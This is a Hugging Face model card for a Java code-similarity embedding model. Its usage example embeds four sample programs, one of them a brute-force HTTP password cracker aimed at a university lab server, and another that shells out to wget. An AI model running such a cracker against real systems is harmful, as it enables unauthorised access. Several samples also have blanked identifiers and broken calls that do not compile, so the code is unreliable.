Hugging Face's logo Hugging Face
  • Models
  • Datasets
  • Spaces
  • Buckets new
  • Docs
  • Enterprise
  • Pricing

  • Log In
  • Sign Up

buelfhood
/
SOCO-Java-CodeBERTa-Softmax-PairClass-VAST

Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:30069
loss:SoftmaxLoss
text-embeddings-inference
Model card Files Files and versions
xet
Community

Instructions to use buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.

  • Libraries
  • sentence-transformers

    How to use buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST with sentence-transformers:

    from sentence_transformers import SentenceTransformer
    
    model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
    
    sentences = [
        "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\n\ninterface UnaryPredicate {\n  boolean execute(Object obj);\n}\n\n\npublic class DiffPrint {\n  \n  static String outFile=\"\";\n\n  public static abstract class Base {\n    protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n      outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception e)\n\t{\n\t\te.printStackTrace();\n\t}\n      file0 = a;\n      file1 = b;\n    }\n    \n    protected UnaryPredicate ignore = null;\n\n    \n    protected Object[] file0, file1;\n\n    \n    public void print_script(Diff.change script) {\n      Diff.change next = script;\n\n      while (next != null)\n        {\n          Diff.change t, end;\n\n          \n          t = next;\n          end = hunkfun(next);\n\n          \n          next = end;\n          end = null;\n          \n          \n\n          \n          print_hunk(t);\n\n          \n          end = next;\n        }\n        outfile.flush();\n    }\n\n    \n\n    protected Diff.change hunkfun(Diff.change hunk) {\n      return hunk;\n    }\n\n    protected int first0, last0, first1, last1, deletes, inserts;\n    protected PrintWriter outfile;\n\n    \n\n    protected void analyze_hunk(Diff.change hunk) {\n      int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n      int i;\n      Diff.change next;\n      boolean nontrivial = (ignore == null);\n\n      show_from = show_to = 0;\n\n      f0 = hunk.line0;\n      f1 = hunk.line1;\n\n      for (next = hunk; next != null; next = next.next())\n        {\n          l0 = next.line0 + next.deleted - 1;\n          l1 = next.line1 + next.inserted - 1;\n          show_from += next.deleted;\n          show_to += next.inserted;\n          for (i = next.line0; i <= l0 && ! nontrivial; i++)\n            if (!ignore.execute(file0[i]))\n              nontrivial = true;\n          for (i = next.line1; i <= l1 && ! nontrivial; i++)\n            if (!ignore.execute(file1[i]))\n              nontrivial = true;\n        }\n\n      first0 = f0;\n      last0 = l0;\n      first1 = f1;\n      last1 = l1;\n\n      \n\n      if (!nontrivial)\n        show_from = show_to = 0;\n\n      deletes = show_from;\n      inserts = show_to;\n    }\n\n    \n    protected void print_header(String filea, String fileb) { }\n\n    protected abstract void print_hunk(Diff.change hunk);\n    \n    protected void print_1_line(String pre,Object linbuf) {\n      outfile.println(pre + linbuf.toString());\n    }\n\n    \n\n    protected void print_number_range (char sepchar, int a, int b) {\n      \n      if (++b > ++a)\n        outfile.print(\"\" + a + sepchar + b);\n      else\n        outfile.print(b);\n    }\n\n    public static char change_letter(int inserts, int deletes) {\n      if (inserts == 0)\n        return 'd';\n      else if (deletes == 0)\n        return 'a';\n      else\n        return 'c';\n    }\n  }\n\n  \n  public static class NormalPrint extends Base {\n\n    public NormalPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n\n    protected void print_hunk (Diff.change hunk) {\n\n      \n      analyze_hunk(hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.print(change_letter(inserts, deletes));\n      print_number_range (',', first1, last1);\n      outfile.println();\n\n      \n      if (deletes != 0)\n        for (int i = first0; i <= last0; i++)\n          print_1_line (\"< \", file0[i]);\n\n      if (inserts != 0 && deletes != 0)\n        outfile.println(\"---\");\n\n      \n      if (inserts != 0)\n        for (int i = first1; i <= last1; i++)\n          print_1_line (\"> \", file1[i]);\n    }\n  }\n\n  \n  public static class EdPrint extends Base {\n\n    public EdPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    \n    protected void print_hunk(Diff.change hunk) {\n\n      \n      analyze_hunk (hunk);\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n      print_number_range (',', first0, last0);\n      outfile.println(change_letter(inserts, deletes));\n\n      \n      if (inserts != 0)\n        {\n          boolean inserting = true;\n          for (int i = first1; i <= last1; i++)\n            {\n              \n              if (! inserting)\n                outfile.println(i - first1 + first0 + \"a\");\n              inserting = true;\n\n              \n\n              if (\".\".equals(file1[i]))\n                {\n                  outfile.println(\"..\");\n                  outfile.println(\".\");\n                  \n                  outfile.println(i - first1 + first0 + 1 + \"s/^\\\\.\\\\././\");\n                  inserting = false;\n                }\n              else\n                \n                print_1_line (\"\", file1[i]);\n            }\n\n          \n          if (inserting)\n            outfile.println(\".\");\n        }\n    }\n  }\n\n  \n  public static class ContextPrint extends Base {\n\n    protected int context = 3;\n\n    public ContextPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    protected void print_context_label (String cad, File inf, String label) {\n      if (label != null)\n        outfile.println(cad + ' ' + label);\n      else if (inf.lastModified() > 0)\n        \n        outfile.println(\n          cad + ' ' + inf.getPath() + '\\t' + new Date(inf.lastModified())\n        );\n      else\n        \n        outfile.println( cad + ' ' + inf.getPath());\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"***\", new File(filea), filea);\n      print_context_label (\"---\", new File(fileb), fileb);\n    }\n\n    \n    private String find_function(Object[] lines, int x) {\n      return null;\n    }\n\n    protected void print_function(Object[] file,int x) {\n      String function = find_function (file0, first0);\n      if (function != null) {\n        outfile.print(\" \");\n        outfile.print(\n          (function.length() < 40) ? function : function.substring(0,40)\n        );\n      }\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n\n      \n\n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n      outfile.print(\"***************\");\n\n      \n      print_function (file0, first0);\n\n      outfile.println();\n      outfile.print(\"*** \");\n      print_number_range (',', first0, last0);\n      outfile.println(\" ****\");\n\n      if (deletes != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first0; i <= last0; i++) {\n          \n\n          while (next != null && next.line0 + next.deleted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line0 <= i)\n            \n            prefix = (next.inserted > 0) ? \"!\" : \"-\";\n\n          print_1_line (prefix, file0[i]);\n        }\n      }\n\n      outfile.print(\"--- \");\n      print_number_range (',', first1, last1);\n      outfile.println(\" ----\");\n\n      if (inserts != 0) {\n        Diff.change next = hunk;\n\n        for (int i = first1; i <= last1; i++) {\n          \n\n          while (next != null && next.line1 + next.inserted <= i)\n            next = next.next;\n\n          \n\n          String prefix = \" \";\n          if (next != null && next.line1 <= i)\n            \n            prefix = (next.deleted > 0) ? \"!\" : \"+\";\n\n          print_1_line (prefix, file1[i]);\n        }\n      }\n    }\n  }\n\n  \n  public static class UnifiedPrint extends ContextPrint {\n\n    public UnifiedPrint(Object[] a,Object[] b) {\n      super(a,b);\n    }\n\n    public void print_header(String filea,String fileb) {\n      print_context_label (\"---\", new File(filea), filea);\n      print_context_label (\"+++\", new File(fileb), fileb);\n    }\n\n    private void print_number_range (int a, int b) {\n      \n\n      \n      if (b < a)\n        outfile.print(b + \",0\");\n      else\n        super.print_number_range(',',a,b);\n    }\n\n    protected void print_hunk(Diff.change hunk) {\n      \n      analyze_hunk (hunk);\n\n      if (deletes == 0 && inserts == 0)\n        return;\n\n      \n\n      first0 = Math.sqrt(first0 - context, 0);\n      first1 = Math.sqrt(first1 - context, 0);\n      last0 = Math.sqrt(last0 + context, file0.length - 1);\n      last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n      outfile.print(\"@@ -\");\n      print_number_range (first0, last0);\n      outfile.print(\" +\");\n      print_number_range (first1, last1);\n      outfile.print(\" @@\");\n\n      \n      print_function(file0,first0);\n\n      outfile.println();\n\n      Diff.change next = hunk;\n      int i = first0;\n      int j = first1;\n\n      while (i <= last0 || j <= last1) {\n\n        \n\n        if (next == null || i < next.line0) {\n          outfile.print(' ');\n          print_1_line(\"\", file0[i++]);\n          j++;\n        }\n        else {\n          \n\n          int k = next.deleted;\n          while (k-- > 0) {\n            outfile.print('-');\n            print_1_line(\"\", file0[i++]);\n          }\n\n          \n\n          k = next.inserted;\n          while (k-- > 0) {\n            outfile.print('+');\n            print_1_line(\"\", file1[j++]);\n          }\n\n          \n\n          next = next.next;\n        }\n      }\n    }\n  }\n\n\n  \n  static String[] slurp(String file) throws IOException {\n    BufferedReader rdr = new BufferedReader(new FileReader(file));\n    Vector s = new Vector();\n    for (;;) {\n      String line = rdr.readLine();\n      if (line == null) break;\n      s.addElement(line);\n    }\n    String[] a = new String[s.size()];\n    s.copyInto(a);\n    return a;\n  }\n\n\n  public static String getDiff(String filea,String fileb,String filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\tString[] a = slurp(filea);\n    String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n    Diff d = new Diff(a,b);\n    char style = 'n';\n    for (int i = 0; i < argv.length - 2; ++i) {\n      String f = argv[i];\n      if (f.startsWith(\"-\")) {\n        for (int j = 1; j < f.length(); ++j) {\n          switch (f.charAt(j)) {\n           case 'e':     \n            style = 'e'; break;\n            case 'c':     \n            style = 'c'; break;\n          case  'u':\n            style = 'u'; break;\n          }\n        }\n      }\n    }\n    boolean reverse = style == 'e';\n    Diff.change script = d.diff_2(reverse);\n    if (script == null)\n      msg=\"The text  the  has not changed.\\n\";\n    else {\n    Base p;\n      msg=\"The text  the  has changed.\\n The Diff Output is : \\n\\n\";\n      switch (style) {\n      case 'e':\n        p = new EdPrint(a,b); break;\n       case'c':\n        p = new ContextPrint(a,b); break;\n      case 'u':\n        p = new UnifiedPrint(a,b); break;\n      default:\n        p = new NormalPrint(a,b);\n      }\n      p.print_header(filea,fileb);\n      p.print_script(script);\n    }\n\treturn msg;\n  }\n}\n",
        "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}",
        "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public static void main(String[] args) {\n      new CrackAttempt();\n   }\n}\n\nclass CrackAttempt {\n   public CrackAttempt() {\n      final int MAX_LENGTH = 3;\n      boolean auth = false;\n      Date  = new Date();\n      boolean morePasswords = true;\n      int passPtr = 0;\n      StringBuffer validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n      char[] password = new char[MAX_LENGTH];\n\n      password[0] = validChars.charAt(0);\n      while (!auth && morePasswords) {\n         String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n         try {\n            \n            Authenticator.setDefault(new CrackAuth(password));\n            URL url = new URL(resource);\n            HttpURLConnection conn = (HttpURLConnection)url.openConnection();\n            conn.setRequestMethod(\"HEAD\");\n            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {\n               System.out.println(\"cracked with \" + new String(password));\n               auth = true;\n            }\n         } catch (Exception e) {\n            System.out.println(\" was  exception: \" + e.getMessage());\n         }\n         int count = passPtr;\n         while (true) {\n            if (password[count] == validChars.charAt(validChars.length() - 1)) {\n               password[count] = validChars.charAt(0);\n               count--;\n            } else {\n               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);\n               break;\n            }\n            if (count < 0) {\n               \n               if (passPtr < MAX_LENGTH - 1) {\n                  passPtr++;\n                  password[passPtr] = validChars.charAt(0);\n               } else {\n                  morePasswords = false;\n               }\n               break;\n            }\n         }\n         \n      } \n      if (!auth) {\n         System.out.println(\"Unable  determine password\");\n      } else {\n          time = (new Date()).getTime() - start.getTime();\n         System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds  crack the password\");\n      }\n   }\n}\n\nclass CrackAuth extends Authenticator {\n   char[] password;\n   public CrackAuth(char[] password) {\n      this.password = password;\n   }\n\n   protected PasswordAuthentication getPasswordAuthentication()\n   {\n      String user = \"\";\n      return new PasswordAuthentication(user, password);\n   }\n}\n",
        "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n  }\n  public static void  main(String args[]) {\n    DataInputStream newin;\n\n    try{\n\n\n      System.out.println(\"Downloading first copy\");\n      Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n      String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n      String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n      while(true){\n            Thread.sleep(24*60*60*1000);\n            System.out.println(\"Downloading new copy\");\n            Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n            Thread.sleep(2000);\n            newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n            if (newin.readLine() != null){\n               System.out.println(\"Sending Mail\");\n               Runtime.getRuntime().exec(cmdMail);\n               Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n    }\n\n    }\n\n}"
    ]
    embeddings = model.encode(sentences)
    
    similarities = model.similarity(embeddings, embeddings)
    print(similarities.shape)
    # [4, 4]
  • Notebooks
  • Google Colab
  • Kaggle
SOCO-Java-CodeBERTa-Softmax-PairClass-VAST
339 MB
Ctrl+K
Ctrl+K
  • 1 contributor
History: 2 commits
buelfhood's picture
buelfhood
Add new SentenceTransformer model
3e2828f verified 11 months ago
  • 1_Pooling
    Add new SentenceTransformer model 11 months ago
  • .gitattributes
    1.52 kB
    initial commit 11 months ago
  • README.md
    175 kB
    Add new SentenceTransformer model 11 months ago
  • config.json
    630 Bytes
    Add new SentenceTransformer model 11 months ago
  • config_sentence_transformers.json
    217 Bytes
    Add new SentenceTransformer model 11 months ago
  • merges.txt
    482 kB
    Add new SentenceTransformer model 11 months ago
  • model.safetensors
    334 MB
    xet
    Add new SentenceTransformer model 11 months ago
  • modules.json
    229 Bytes
    Add new SentenceTransformer model 11 months ago
  • sentence_bert_config.json
    53 Bytes
    Add new SentenceTransformer model 11 months ago
  • special_tokens_map.json
    958 Bytes
    Add new SentenceTransformer model 11 months ago
  • tokenizer.json
    3.71 MB
    Add new SentenceTransformer model 11 months ago
  • tokenizer_config.json
    1.26 kB
    Add new SentenceTransformer model 11 months ago
  • vocab.json
    838 kB
    Add new SentenceTransformer model 11 months ago